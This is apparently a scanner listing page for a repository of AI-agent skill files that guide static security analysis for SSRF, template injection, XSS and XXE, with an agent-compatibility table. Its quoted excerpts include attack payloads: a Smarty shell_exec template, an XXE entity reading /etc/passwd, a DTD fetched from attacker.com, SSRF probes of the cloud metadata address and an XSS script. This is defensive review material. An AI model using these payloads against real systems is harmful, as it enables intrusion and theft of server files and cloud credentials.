    > > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`
  • Network accessline 339
    > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` > - Internal loopback connections to `l
  • Network accessline 340
    > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`
  • Network accessline 354
    > - **File**: `path/to/file.ext` (lines X-Y) > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]
  • Network accessline 355
    > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] > - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.]
  • Network accessline 356
    > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]
  • Network accessline 420
    > > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inje
  • Network accessline 421
    > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inject
  • Network accessline 422
    >    - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client
  • Network accessline 432
    > **For each call site, also check for mitigations**: > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effec
  • Network accessline 433
    > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable. > - **Scheme-
  • Network accessline 434
    > - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable.
  • Network accessline 456
    > - **File**: `path/to/file.ext` (lines X-Y) > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]
  • Network accessline 457
    > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') →
  • Network accessline 458
    > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]
  • Network accessline 459
    > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"]
  • Network accessline 463
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.
  • Network accessline 464
    >   ``` >   [curl command or payload to confirm the finding. >    Show the parameter, payload, and what to look for.
  • Network accessline 465
    >   [curl command or payload to confirm the finding.
  • Network accessline 466
    >    Show the parameter, payload, and what to look for. >    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" >    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5
  • Network accessline 467
    >    Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"
  • Network accessline 468
    >    or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"]
  • Network accessline 538
    - **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, part
  • Network accessline 539
    - **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF. - *
  • Network accessline 540
    - **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.

sast-files/.claude/skills/sast-ssti/SKILL.md

  • Network accessline 40
    - `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java)   - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)
  • Network accessline 41
    - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)   - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)   - `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby)
  • Network accessline 42
    - `$smarty->fetch("string:" . user_input)` — Smarty (PHP)
  • Network accessline 273
    // VULNERABLE: user-controlled template string via fetch("string:...")
  • Network accessline 274
    $template = $_GET['tmpl']; $smarty->fetch("string:" . $template); // Payload: {php}echo shell_exec('id');{/php}
  • Network accessline 275
    $smarty->fetch("string:" . $template);
  • Network accessline 380
    > > 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`
  • Network accessline 381
    > 16. **PHP — Smarty**: >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` >     - `$smarty->fetch($var)` where var may contain a "string:" prefix
  • Network accessline 382
    >     - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`
  • Network accessline 383
    >     - `$smarty->fetch($var)` where var may contain a "string:" prefix

sast-files/.claude/skills/sast-xss/SKILL.md

  • Dangerous shell operationline 60
    - `eval(var)`
  • Dangerous shell operationline 270
    eval(event.data);
  • Dangerous shell operationline 400
    >    - `eval(var)`
  • Network accessline 538
    > - **Dynamic Test**: >   ``` >   [curl command or browser payload to confirm the finding.
  • Network accessline 539
    >   ``` >   [curl command or browser payload to confirm the finding. >    Show the exact parameter, payload, and what to observe.
  • Network accessline 540
    >   [curl command or browser payload to confirm the finding.
  • Network accessline 541
    >    Show the exact parameter, payload, and what to observe. >    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" >    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]
  • Network accessline 542
    >    Example: curl "https://app.example.com/search?q=<script>alert(1)</script>"
  • Network accessline 543
    >    Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]

sast-files/.claude/skills/sast-xxe/SKILL.md

  • Network accessline 28
    - XML parsed with external entity resolution **enabled by default** and no explicit hardening applied - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
  • Network accessline 29
    - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
  • Network accessline 30
    - DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers) - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xx
  • Network accessline 31
    - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`
  • Network accessline 32
    - XInclude injection when XInclude processing is enabled - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled serve
  • Network accessline 33
    - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services
  • Network accessline 51
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 52
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 53
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 54
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 61
    SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 62
    spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 63
    spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 64
    spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 165
    public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 166
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);     dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 167
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 168
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 169
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 185
    // SECURE: disable external entities SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 186
    SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 187
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 188
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Network accessline 189
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 485
    > - **Dynamic Test**: >   ``` >   [curl command or payload to confirm the finding.
  • Network accessline 486
    >   ``` >   [curl command or payload to confirm the finding. >    Show the exact endpoint, Content-Type header, and XXE payload.
  • Network accessline 487
    >   [curl command or payload to confirm the finding.
  • Network accessline 488
    >    Show the exact endpoint, Content-Type header, and XXE payload. >    Example: >    curl -X POST https://app.example.com/api/import \
  • Network accessline 489
    >    Example: >    curl -X POST https://app.example.com/api/import \ >      -H "Content-Type: application/xml" \
  • Network accessline 490
    >    curl -X POST https://app.example.com/api/import \

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

No combined signals at this commit.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md.claude/skills/<skill-name>/
CodexNativeManifest sast-files/AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md sast-files/.agents/skills/sast-analysis/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Add this badge to your README

It updates every night and links to this page.

utkusen/sast-skills: #702 on hotskills, 1.4k stars

[![utkusen/sast-skills on hotskills](https://hotskills.dev/badge/utkusen-sast-skills.svg)](https://hotskills.dev/skill/utkusen-sast-skills/)